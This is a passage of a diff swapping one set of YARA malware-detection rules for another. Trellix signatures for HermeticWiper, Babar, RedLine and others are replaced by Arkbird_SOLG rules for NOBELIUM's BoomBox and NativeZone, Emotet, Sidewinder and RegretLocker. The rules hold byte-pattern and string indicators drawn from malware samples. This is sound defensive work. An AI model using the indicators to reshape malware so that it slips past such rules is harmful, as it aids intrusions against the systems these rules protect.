-		hash = "295c5c7aa5fa29628dec9f42ed657fce0bc789079c4e51932bcbc99a28dfd440"
-		logic_hash = "e016bb636af22fae79875bebaf1b4bd4f2a403e797d7ee52ea0691b4d7a54cf8"
+		description = "Detect BoomBox malware"
+		author = "Arkbird_SOLG"
+		id = "b2629c5b-1fb0-5ea1-8661-faf8f1d6b578"
+		date = "2021-05-28"
+		modified = "2021-06-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_BoomBox_May_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "b88848ead9c992392c99e88a25541b72d825fbd32c3eb83fefc18e7cfbd08cc8"
 		score = 75
-		quality = 45
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Gdocupload"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
+		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
+		tlp = "White"
+		adversary = "NOBELIUM"
 
 	strings:
-		$s1 = "https://www.google.com/accounts/ServiceLogin?service=writely&passive=1209600&continue=http://docs.google.com/&followup=http://do" ascii
-		$s2 = "Referer: http://sn114w.snt114.mail.live.com/mail/AttachmentUploader.aspx?_ec=1" fullword ascii
-		$s3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET " ascii
-		$s4 = "e:\\Project\\mm\\Webmail\\Bin\\gdocs.pdb" fullword ascii
-		$s5 = "http://docs.google.com/?auth=" fullword ascii
-		$s6 = "x-guploader-client-info: mechanism=scotty flash; clientVersion=18067216" fullword ascii
-		$s7 = "http://docs.google.com/" fullword ascii
-		$s8 = "Referer: http://sn114w.snt114.mail.live.com/mail/EditMessageLight.aspx?n=%s" fullword ascii
+		$s1 = { 13 30 06 00 90 01 00 00 07 00 00 11 1f 1a 28 53 00 00 0a 25 72 bc 05 00 70 28 1e 00 00 0a 0a 06 28 54 00 00 0a 2d 07 06 28 55 00 00 0a 26 72 ea 05 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 22 07 28 55 00 00 0a 26 07 72 12 06 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 07 07 28 55 00 00 0a 26 73 08 00 00 06 25 7e 08 00 00 04 72 1c 06 00 70 6f 06 00 00 06 0c 08 2c 46 08 8e 69 1f 11 59 8d 2b 00 00 01 13 04 08 1f 0a 11 04 16 11 04 8e 69 28 56 00 00 0a 73 05 00 00 06 11 04 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 05 06 72 3c 06 00 70 28 1e 00 00 0a 11 05 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 46 7e 59 00 00 0a 72 64 06 00 70 17 6f 5a 00 00 0a 13 06 11 06 72 c0 06 00 70 6f 5b 00 00 0a 2d 26 11 06 72 c0 06 00 70 72 e8 06 00 70 06 72 3c 06 00 70 28 1e 00 00 0a 72 12 07 00 70 28 5c 00 00 0a 6f 5d 00 00 0a 7e 08 00 00 04 72 38 07 00 70 6f 06 00 00 06 0d 09 2c 46 09 8e 69 1f 11 59 8d 2b 00 00 01 13 07 09 1f 0a 11 07 16 11 07 8e 69 28 56 00 00 0a 73 05 00 00 06 11 07 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 08 07 72 58 07 00 70 28 1e 00 00 0a 11 08 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 16 72 84 07 00 70 06 72 9e 07 00 70 28 1e 00 00 0a 28 5e 00 00 0a 26 2a }
+		$s2 = { 13 30 05 00 11 01 00 00 05 00 00 11 02 7b 02 00 00 04 72 0b 03 00 70 28 1e 00 00 0a 28 30 00 00 0a 74 2d 00 00 01 25 20 c0 d4 01 00 6f 31 00 00 0a 25 72 86 01 00 70 6f 32 00 00 0a 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 8d 02 00 70 03 28 1e 00 00 0a 6f 36 00 00 0a 25 72 2b 03 00 70 6f 3f 00 00 0a 72 9d 02 00 70 04 72 5d 03 00 70 28 37 00 00 0a 0a 25 6f 35 00 00 0a 72 bb 02 00 70 06 6f 38 00 00 0a 25 6f 40 00 00 0a 05 16 05 8e 69 6f 2e 00 00 0a 6f 39 00 00 0a 74 1a 00 00 01 0b 07 6f 3a 00 00 0a 20 c8 00 00 00 33 64 07 6f 3e 00 00 0a 73 41 00 00 0a 6f 42 00 00 0a 0c 02 7b 06 00 00 04 08 6f 43 00 00 0a 6f 44 00 00 0a 17 6f 45 00 00 0a 6f 46 00 00 0a 72 02 04 00 70 28 47 00 00 0a 2c 29 02 7b 03 00 00 04 08 6f 43 00 00 0a 26 02 7b 04 00 00 04 08 6f 43 00 00 0a 26 02 7b 05 00 00 04 08 6f 43 00 00 0a 26 17 2a 16 2a 16 2a }
+		$s3 = { 13 30 04 00 6d 01 00 00 0a 00 00 11 72 f2 07 00 70 28 54 00 00 0a 39 5d 01 00 00 72 [2] 00 70 72 f2 07 00 70 28 5e 00 00 0a 26 1f 1a 28 53 00 00 0a 72 ?? 08 00 70 28 1e 00 00 0a 28 58 00 00 0a 3a 32 01 00 00 1f 0a 8d 2b 00 00 01 25 d0 0c 00 00 04 28 67 00 00 0a 0a 1d 8d 2b 00 00 01 25 d0 0b 00 00 04 28 67 00 00 0a 0b 28 4b 00 00 0a 6f 4c 00 00 0a 28 0c 00 00 06 26 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 0c 00 00 06 0c 73 0a 00 00 06 6f 09 00 00 06 0d 09 2c 56 28 68 00 00 0a 09 6f 61 00 00 0a 13 05 73 05 00 00 06 11 05 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 06 06 11 06 28 0d 00 00 06 13 07 11 07 07 28 0d 00 00 06 13 07 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 07 6f 07 00 00 06 26 28 0b 00 00 06 28 4b 00 00 0a 6f 4c 00 00 0a 13 04 11 04 72 d5 00 00 70 28 69 00 00 0a 2c 65 73 02 00 00 06 11 04 6f 01 00 00 06 13 08 11 08 2c 53 73 05 00 00 06 28 68 00 00 0a 11 08 6f 61 00 00 0a 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 09 06 11 09 28 0d 00 00 06 13 0a 11 0a 07 28 0d 00 00 06 13 0a 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 0a 6f 07 00 00 06 26 2a }
+		$s4 = { 1b 30 05 00 b5 00 00 00 06 00 00 11 72 76 05 00 70 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 10 00 00 0a 0a 72 84 05 00 70 28 4b 00 00 0a 6f 4c 00 00 0a 28 10 00 00 0a 0b 72 90 05 00 70 0c 28 4d 00 00 0a 28 49 00 00 0a 6f 4e 00 00 0a 13 04 16 13 05 2b 2a 11 04 11 05 9a 13 06 11 06 6f 4f 00 00 0a 18 33 13 08 11 06 6f 50 00 00 0a 72 98 05 00 70 28 37 00 00 0a 0c 11 05 17 58 13 05 11 05 11 04 8e 69 32 ce 28 51 00 00 0a 6f 52 00 00 0a 0d 72 9c 05 00 70 1a 8d 10 00 00 01 25 16 06 a2 25 17 07 a2 25 18 08 a2 25 19 09 a2 28 1d 00 00 0a 13 07 de 06 26 14 13 07 de 00 11 07 2a 00 00 00 01 10 00 00 00 00 00 00 ac ac 00 06 10 00 00 01 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		uint16(0)==0x5a4d and filesize >6KB and 3 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Lagulon_Trojan_Pdb : TROJAN FILE
+rule ARKBIRD_SOLG_MAL_Enc_Payload_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect trojan Lagulon based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "a31a465d-1f16-5c3e-a62d-ea15c11253c3"
-		date = "2013-08-31"
-		modified = "2020-08-14"
-		reference = "https://www.cylance.com/operation-cleaver-cylance"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_lagulon_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53"
-		logic_hash = "dad04c2deb990f253f952b768b74349dc9afb5f6db91ea3afff889f4c9f3230b"
-		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/lagulon"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		description = "Detect encrypted payload, must be with others APT29 rules maybe give lot fake postives due to the pdf header"
+		author = "Arkbird_SOLG"
+		id = "34da1d06-7892-59ec-8b11-c3278a7f2e34"
+		date = "2021-05-28"
+		modified = "2021-06-02"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_Enc_payload_May_2021_1.yara#L1-L17"
+		license_url = "N/A"
+		logic_hash = "484d9947d8acd32126cdc3e3f671cd3b3b048bbdb608d5573f6fcc7e4ddf13f8"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "23e20d630a8fd12600c2811d8f179f0e408dcb3e82600456db74cbf93a66e70f"
+		hash2 = "656384c4e5f9fe435d51edf910e7ba28b5c6d183587cf3e8f75fb2d798a01eeb"
+		level = "Experimental"
+		tlp = "White"
+		adversary = "NOBELIUM"
 
 	strings:
-		$pdb = "\\proj\\wndTest\\Release\\wndTest.pdb"
+		$s1 = { 25 50 44 46 2d 31 2e 33 0a 25 06 8b c4 1c c5 86 66 f3 dc 75 f9 3b dd 8c 44 e3 d3 a4 74 9d 94 4e 2e 0f d9 01 a6 f2 88 6a a8 0b 16 1b 1a fc 60 3f 72 7a 1b c1 a7 bb 2f 19 31 6d 6f 79 db 20 f6 c7 fa e7 eb b9 88 77 de 1f a1 92 d7 ea 68 a9 b7 89 17 92 e8 b2 bb a5 58 56 b4 30 60 f8 28 0c 54 7b 2b 68 ba 7e 01 01 6d ad 2e 6d 72 67 1e b0 a8 ea 42 82 bd 14 9a 86 f0 0d 9a 8b 92 76 b3 b3 7d ef 69 24 2c 9f c2 ca e9 c9 b3 }
+		$s2 = { 25 25 45 4f 46 0a }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and any of them
+		filesize >50KB and all of ($s*)
 }
-rule TRELLIX_ARC_Hermeticwiper : TROJAN FILE
+rule ARKBIRD_SOLG_MAL_Nativezone_May_2021_1 : FILE
 {
 	meta:
-		description = "Detecting variants of Hermetic Wiper malware discovered in UA"
-		author = " cb @ Trellix ATR"
-		id = "fc6d9238-b732-541d-b083-11b43fe8770d"
-		date = "2022-02-24"
-		modified = "2022-02-24"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Troj_HermWiper.yar#L1-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "b48e91afa19e09c7035ccda1b9293448e834d612b9a953b593f9412acb78faac"
+		description = "Detect NativeZone malware"
+		author = "Arkbird_SOLG"
+		id = "5b858a8d-6e6a-5712-a83a-229bed1c7872"
+		date = "2021-05-28"
+		modified = "2021-06-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_NativeZone_May_2021_1.yara#L1-L17"
+		license_url = "N/A"
+		logic_hash = "9281784100e922fe3ef64e7c112276ffa5f8691ab4f24f1b68fbb0495e449bd3"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "Trojan"
+		quality = 75
+		tags = "FILE"
+		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
+		hash2 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
+		tlp = "White"
+		adversary = "NOBELIUM"
 
 	strings:
-		$0 = {E4B5518CD941310A015E4AF8E5968C8231492FE19246A293A569D5D7A36F56EB2FC5B68FFF6F3359C19AF6806920C3FE6628F90A75440E6616297A031BA6075100D72DFAA9829E772E45D77B89F862081EAFDB19B4B2DCEF3F273FF645ACCEAA4B991F98373973C0FB25829E860D9BC195EF1A0AD9219456AD077D42868EE03EE00E88D04C434BA97E88DF99273A35E2C668A1C69954B4762390ABDFBE4CD4AF}
-		$1 = {90506F1C825F7AE0D8605F5C627CA325BFF199AB60A63DE8A90E923F4B18D7FB039E1DEC89D573AAB0A14C1D4BA70EB444753A41C03082A60CB4DB551393F2C50988A3181E7F31D01B5AAD94070432D98F18655AB8A555919FEFEA9DE1EDF1}
-		$2 = {D5EEF61336015A85FF04ED298A6BDD6742FF153E33DAF9B383A5FFDCE7E64D47748DB5FF2609DF9BD5C66735FF6916797B2D365313FF1461EAEB9DAEA754FF6D4D55D1956CC8CBFF75C10CE74BF88C8DFF3B553B839D42609FFF2916227230}
-		$3 = {6C750DDC932124500CE9B5AB91CE101BE9AD348220E9423124512282373675152281023428825C51770FE9841F853375125382F732750A5B83F60FEB6AEE2282647462228269745AEE22826F7452228275744AEE2282787442}
-		$4 = {19A8A063FFAAAF6C1E7F78A896FFFA5C8F30BA98B69CFF1961E107BEB7636AFF9EA56A4FC4EDE3F1FF295235ACD0185726FFADA6B8CB54B342C9FF86F58524DC91617BFFB4388DBE01B6CF86}
-		$5 = {50C449606B20184A6328556032197660AAF9507861609F6160640560B4546160C3A194056070C4A09EC4A01A0461A4C4A0831B16600561916069A291607061C09160AA1CB6204A}
-		$6 = {FFEB19D2636B8B95273156BB63E8C78470D55970F47CF26574B46DE86EE084704590CA8053F15320258BBD1AACF18B04F2E965C6605CB10880B7E8FCF53DF5EB0621635EFF}
-		$7 = {7E31126E14B8FF98554F6FCFB64207FFCF8D93B2573609C2FF99E4409F73BB9322FF1E5E380DC0BBABCAFF4B901EDF61BD6A68FFEE3253728C7769ABFF7BCDA939C959A282}
-		$8 = {1970FFC6F8AA7C32EE693CFF369579E5355EF62CFF682CEAF20BA3EA1CFF1AAC638666431B20FF54293D1E709C231AFFCD11B55599F64CB9FF1E5A9015DC867F}
-		$9 = {8DFF93B2573609C299E4FF409F73BB93221E5EFF380DC0BBABCA4B90FF1EDF61BD6A68EE32FF53728C7769AB7BCDFFA939C959A282D312FF5DD04F0370CE811F}
-		$10 = {DF5519064E31101CF3DA96C15FF96728B708F358F51759E3A22FFA1CF1BB986A2038D6753E6BF037945B8469ADF20BAB71E10F3DE27735F640704C970DFE8672}
+		$s1 = { 8b ff 55 8b ec 81 ec 1c 01 00 00 a1 00 ?? 01 10 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 14 56 8b 75 08 89 b5 fc fe ff ff 89 9d f8 fe ff ff 57 8b 7d 10 89 bd 00 ff ff ff 85 f6 75 25 85 c9 74 21 e8 [2] ff ff c7 00 16 00 00 00 e8 [2] ff ff 8b 4d fc 5f 5e 33 cd 5b e8 [2] ff ff 8b e5 5d c3 85 ff 74 db 85 db 74 d7 c7 85 f4 fe ff ff 00 00 00 00 83 f9 02 72 d8 49 0f af cf 03 ce 89 8d 04 ff ff ff 8b c1 33 d2 2b c6 f7 f7 8d 78 01 83 ff 08 0f 87 dc 00 00 00 8b bd 00 ff ff ff 3b ce 0f 86 a1 00 00 00 8d 14 37 89 95 ec fe ff ff 8d 49 00 8b c6 8b f2 89 85 08 ff ff ff 3b f1 77 31 8b ff 50 56 8b cb ff 15 [2] ?? 10 ff d3 83 c4 08 85 c0 7e 0a 8b c6 89 85 08 ff ff ff eb 06 8b 85 08 ff ff ff 8b 8d 04 ff ff ff 03 f7 3b f1 76 d1 8b d1 3b c1 74 34 2b c1 8b df 89 85 08 ff ff ff 90 8a 0c 10 8d 52 01 8b b5 08 ff ff ff 8a 42 ff 88 44 16 ff 8b c6 88 4a ff 83 eb 01 75 e3 8b 9d f8 fe ff ff 8b 8d 04 ff ff ff 8b b5 fc fe ff ff 2b cf 8b 95 ec fe ff ff 89 8d 04 ff ff ff 3b }
+		$s2 = { 8b b5 00 ff ff ff 8b cb 8b 85 fc fe ff ff d1 ef 0f af fe 03 f8 57 50 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 57 ff b5 fc fe ff ff e8 1b fe ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb ff b5 fc fe ff ff ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 15 56 ff b5 04 ff ff ff ff b5 fc fe ff ff e8 e9 fd ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb 57 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 ff b5 04 ff ff ff 57 e8 c1 fd ff ff 83 c4 0c 8b 85 04 ff ff ff 8b d8 8b b5 fc fe ff ff 8b 95 00 ff ff ff 89 85 08 ff ff ff 8d 64 24 00 3b fe 76 37 03 f2 89 b5 f0 fe ff ff 3b f7 73 25 8b 8d f8 fe ff ff 57 56 ff 15 [3] 10 ff 95 f8 fe ff ff 8b 95 00 ff ff ff 83 c4 08 85 c0 7e d3 3b fe 77 3d 8b 85 04 ff ff ff 8b 9d f8 fe ff ff 03 f2 3b f0 77 1f 57 56 8b cb ff 15 [3] 10 ff d3 8b 95 00 ff ff ff 83 c4 08 85 c0 8b 85 04 ff ff ff 7e db 8b 9d 08 ff ff ff 89 b5 f0 fe ff ff 8b b5 f8 fe ff ff eb 06 8d 9b 00 00 00 00 8b 95 00 ff ff ff 8b c3 2b da 89 85 08 ff ff ff 3b df 76 1f 57 53 8b ce ff 15 [3] 10 ff d6 83 c4 08 85 c0 7f d9 8b 95 00 ff ff ff 8b 85 08 ff ff ff 8b b5 f0 fe ff ff 89 9d 08 ff ff ff }
+		$s3 = { 8b 45 f4 89 7d f8 8d 04 86 8b c8 89 45 e8 8b c7 89 4d f4 3b 45 dc 74 5b 8b d6 2b d7 89 55 e4 8b 00 8b d0 89 45 ec 8d 42 01 89 45 f0 8a 02 42 84 c0 75 f9 2b 55 f0 8d 42 01 50 ff 75 ec 89 45 f0 8b 45 e8 2b c1 03 45 fc 50 51 e8 [2] 00 00 83 c4 10 85 c0 75 72 8b 45 f8 8b 55 e4 8b 4d f4 89 0c 02 83 c0 04 03 4d f0 89 4d f4 89 45 f8 3b 45 dc 75 ac 8b 45 0c 89 5d f8 89 30 8b f3 53 e8 [2] ff ff 59 8b 45 dc 8b d7 2b c2 89 55 e4 83 c0 03 c1 e8 02 39 55 dc 1b c9 f7 d1 23 c8 89 4d e8 74 18 8b f1 ff 37 e8 [2] ff ff 43 8d 7f 04 59 3b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize >50KB and all of ($s*)
 }
-rule TRELLIX_ARC_Apt_Babar_Malware : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_Emotet_Nov_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Babar malware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3cbb63ce-ff93-51ee-93aa-2594fa1f8dad"
-		date = "2015-02-18"
-		modified = "2020-08-14"
-		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_babar_pdb.yar#L1-L35"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c72a055b677cd9e5e2b2dcbba520425d023d906e6ee609b79c643d9034938ebf"
-		logic_hash = "02acef92691caed4573b609c111302427b9c27c5ef93f9199c52d75cb13e8615"
+		description = "Detect Emotet loader"
+		author = "Arkbird_SOLG"
+		id = "ad67c735-7ed9-5440-b693-55dce9840f56"
+		date = "2021-11-15"
+		modified = "2021-11-16"
+		reference = "https://cyber.wtf/2021/11/15/guess-whos-back/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-16/MAL_Emotet_Nov_2021_1.yara#L1-L19"
+		license_url = "N/A"
+		logic_hash = "9ae3cbf863fdf3addd7ec00b4d6b55024c3159156518ef15fff79f5a92988297"
 		score = 75
-		quality = 45
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Babar"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "0865bd192e226da2c40b8bdd33a65ef41ca255a0031b3b36ab6a657ba6675d5e"
+		hash2 = "14613fa0b6eea4cd9205ffbe1c462178c94298707d19f78a27eec3dece8765f0"
+		tlp = "white"
+		adversary = "TrickBot Gang"
 
 	strings:
-		$s1 = "c:\\Documents and Settings\\admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper Release\\Release.pdb" fullword ascii
-		$s2 = "%COMMON_APPDATA%" fullword ascii
-		$s3 = "%%WINDIR%%\\%s\\%s" fullword ascii
-		$s4 = "/s /n %s \"%s\"" fullword ascii
-		$s5 = "/c start /wait " fullword ascii
-		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" fullword ascii
-		$s7 = "constructor or from DllMain." fullword ascii
-		$s8 = "ComSpec" fullword ascii
-		$s9 = "APPDATA" fullword ascii
-		$s10 = "WINDIR" fullword ascii
-		$s11 = "USERPROFILE" fullword ascii
+		$s1 = { 8b 4d 08 0f b6 02 0f b6 31 2b f0 75 18 0f b6 71 01 0f b6 42 01 2b f0 75 0c 0f b6 71 02 0f b6 42 02 2b f0 74 10 33 c9 85 f6 0f 9f c1 8d 0c 4d ff ff ff ff eb 1a 0f b6 49 03 0f b6 42 03 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 8b c1 eb 56 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 0c 0f b6 51 01 0f b6 46 01 2b d0 74 06 33 c9 85 d2 eb b4 0f b6 49 02 0f b6 46 02 eb be 8b 4d 08 8b 75 0c 0f b6 11 0f b6 06 2b d0 75 e0 0f b6 49 01 0f b6 46 01 eb a4 8b 45 08 0f b6 08 8b 45 0c 0f b6 00 eb 96 33 c0 5e 5b 5d c3 8b ff }
+		$s2 = { 8b 75 10 83 e0 3f 8b 5d 18 6b c8 38 c1 fa 06 89 75 a0 89 5d c4 89 55 b0 8b 04 95 [2] 03 10 89 4d bc 8b 44 08 18 89 45 9c 8b 45 14 03 c6 89 45 ac ff 15 ?? 40 03 10 80 7b 14 00 89 45 90 75 07 8b cb e8 [2] ff ff 8b 43 0c 8b 75 08 8b fe 8b 40 08 89 45 98 33 c0 ab ab ab 8b 45 a0 8b d0 89 55 d0 3b 45 ac 0f 83 14 03 00 00 8b 7d bc 33 db 89 5d b8 81 7d 98 e9 fd 00 00 8a 02 88 45 cf 8b 45 b0 89 5d c0 c7 45 d4 01 00 00 00 8b 0c 85 }
+		$s3 = { 53 53 40 6a 05 89 45 d0 8d 45 d8 50 ff 75 d4 8d 45 c0 50 53 ff 75 90 e8 [2] ff ff 83 c4 20 89 45 c8 85 c0 0f 84 00 01 00 00 53 8d 4d a4 51 50 8d 45 d8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 dd 00 00 00 8b 55 d0 8b ca 2b 4d a0 8b 46 08 03 c1 89 45 b8 89 46 04 8b 45 c8 39 45 a4 0f 82 c6 00 00 00 80 7d cf 0a 75 3c 6a 0d 58 53 66 89 45 a8 8d 45 a4 50 6a 01 8d 45 a8 50 ff 75 9c ff 15 ?? 40 03 10 85 c0 0f 84 95 00 00 00 83 7d a4 01 0f 82 93 00 00 00 ff 46 08 ff 46 04 8b 46 04 8b 55 d0 89 45 b8 3b 55 ac 0f 82 6f fd ff ff eb 79 85 }
+		$s4 = { ba 08 00 00 00 c1 e2 00 8b 45 f0 8b 4c 10 78 03 4d fc 89 4d f8 ba 08 00 00 00 6b c2 0c 8b 4d f0 83 7c 01 78 00 74 09 c7 45 e8 0c 00 00 00 eb 07 c7 45 e8 01 00 00 00 8b 55 e8 89 55 e4 8b 45 e4 8b 4d f0 8b 54 c1 78 89 55 dc 8b 45 e4 8b 4d f0 8b 54 c1 7c 89 55 d8 8b 45 dc 03 45 fc 89 45 d4 8d 4d c8 51 6a 04 8b 55 d8 52 8b 45 d4 50 ff 15 04 40 03 10 8b 4d f8 83 79 0c 00 0f 84 cf }
+		$s5 = { 83 20 00 33 c9 21 4d e8 53 8b 5d 08 57 33 ff 89 4d e4 89 7d e0 8b 03 85 c0 74 56 8d 4d fc 66 c7 45 fc 2a 3f 51 50 c6 45 fe 00 e8 12 55 00 00 59 59 85 c0 75 1a 8d 45 e0 50 33 c0 50 50 ff 33 e8 13 01 00 00 8b f0 83 c4 10 85 f6 75 74 eb 13 8d 4d e0 51 50 ff 33 e8 ad 01 00 00 83 c4 0c 85 c0 75 1d 83 c3 04 8b 03 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		uint16(0)==0x5a4d and filesize >30KB and 4 of them
 }
-rule TRELLIX_ARC_Apt_Mirage_Pdb : TROJAN FILE
+rule ARKBIRD_SOLG_APT_Sidewinder_Nov_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect Mirage samples based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "49b7623f-a2c9-52e4-8679-d62f6aae99ca"
-		date = "2012-09-18"
-		modified = "2020-08-14"
-		reference = "https://www.secureworks.com/research/the-mirage-campaign"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_mirage_pdb.yar#L1-L26"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "0107a12f05bea4040a467dd5bc5bd130fd8a4206a09135d452875da89f121019"
-		logic_hash = "cb88dc787d9964451ea93f5574d9c73ae6a820d81e20d41c3c8ee44c3fee032d"
+		description = "Detect Sidewinder DLL decoder algorithm"
+		author = "Arkbird_SOLG"
+		id = "9e948949-f38d-5a76-a34c-965ec9be070d"
+		date = "2020-11-14"
+		modified = "2020-11-15"
+		reference = "https://twitter.com/hexfati/status/1325397305051148292"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-15/APT_SideWinder_Nov_2020_1.yar#L1-L12"
+		license_url = "N/A"
+		logic_hash = "661eb5510ff0aa59b38b2c023653f0a23867a2813d854fbd0a7a6b657d9ba671"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Mirage"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "8d7ad2c603211a67bb7abf2a9fe65aefc993987dc804bf19bafbefaaca066eaa"
 
 	strings:
-		$pdb = "\\MF-v1.2\\Server\\Debug\\Server.pdb"
-		$pdb1 = "\\fox_1.2 20110307\\MF-v1.2\\Server\\Release\\MirageFox_Server.pdb"
+		$s = { 13 30 05 00 ?? 00 00 00 01 00 00 11 ?? ?? 00 00 ?? ?? ?? 00 00 [30-80] 2B 16 07 08 8F 1? }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <150KB and any of them
+		uint16(0)==0x5a4d and filesize >3KB and $s
 }
-rule TRELLIX_ARC_Redline_Payload : BACKDOOR FILE
+rule ARKBIRD_SOLG_Ran_Regretlocker_Oct_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect the RedLine payload"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "61c2032f-1e6b-5123-8f99-ff83ae95e8a9"
-		date = "2020-04-16"
-		modified = "2020-08-14"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_redline.yar#L1-L38"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "5df956f08d6ad0559efcdb7b7a59b2f3b95dee9e2aa6b76602c46e2aba855eff"
-		logic_hash = "44df161b7434b9137ca5bb919eb314f8447b216b3f6e1214606a898fb36ee4f4"
+		description = "Detect RegretLocker ransomware"
+		author = "Arkbird_SOLG"
